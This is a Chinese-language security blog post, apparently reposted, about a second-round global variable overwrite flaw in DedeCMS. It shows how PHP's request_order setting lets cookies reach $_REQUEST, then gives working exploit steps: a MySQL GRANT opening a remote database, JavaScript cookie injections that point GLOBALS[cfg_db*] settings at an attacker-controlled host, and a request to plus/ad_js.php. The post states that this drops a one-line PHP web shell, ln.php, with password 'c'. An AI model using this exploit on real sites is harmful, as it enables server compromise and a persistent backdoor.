DEDE全局变量再次覆盖研究

DEDE全局变量再次覆盖研究

http://0day5.com/archives/257

时间:12-12-13 栏目:PHP 作者:0day5 评论:2 点击: 3,776 次

from:http://lanu.sinaapp.com

这个是大牛研究的博文:http://www.0x50sec.org/dedecms%e ... %e5%88%86%e6%9e%90/,大牛就是大牛厉害啊!这位大牛说了关于dedecms变量覆盖漏洞补丁没有补全。造成了漏洞的二次利用。看完了此文,但是关于里面的$_REQUEST为什么没有读取$_COOKIE值俺有点小异议,和文章中有的代码不是很全有缺失,而且有些符号也有点小问题!
我认为是因为php版本问题而不是什么apache和iis的问题,因为在php 5.3以后php.ini中默认request_order="GP"

俺们用事实说话:

?
1
2
3
4
5
6
var_dump( $_REQUEST );
echo "—————REQUEST END————
"
;
var_dump( $_COOKIE );
echo "—————COOKIE END————
"
;
?>

当我的request_order="GPC"的时候,

访问http://127.0.0.1/test/requesttest.php?hacker=11,

再访问:

?
1
javascript:document.cookie= "test" ;

返回

array(2) { ["hacker"]=> string(2) "11" ["fuck_you"]=> string(0) "" } —————REQUEST END———— array(1) { ["fuck_you"]=> string(0) "" } —————COOKIE END————

如果我request_order="GP"

返回则是:

array(1) { ["hacker"]=> string(2) "11" } —————REQUEST END———— array(1) { ["fuck_you"]=> string(0) "" } —————COOKIE END————-----------------

所以俺得出结论:若果dedecms装在php > 5.3的服务器中,可以利用变量再次覆盖!

于是乎我就下载了最新版本的dedecms做测试:
开外链设置数据库,你懂得!

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

数据库见附件,我已经设置好的!

dede_myad

然后访问http://127.0.0.1/dede/plus/ad_js.php?aid=1&nocache=1

再用javascript设置:

javascript:document.cookie="GLOBALS[cfg_dbhost]=10.60.133.60";document.cookie="GLOBALS[cfg_dbuser]=root";document.cookie="GLOBALS[cfg_dbpwd]=123456";document.cookie="GLOBALS[cfg_dbname]=test";document.cookie="GLOBALS[cfg_dbprefix]=dede_";

 

再次访问http://127.0.0.1/dede/plus/ad_js.php?aid=1&nocache=1

生成的一句话:http://127.0.0.1/dede/plus/ln.php 密码c

俺最新版本dedecms测试成功

你可能感兴趣的:(PHP安全)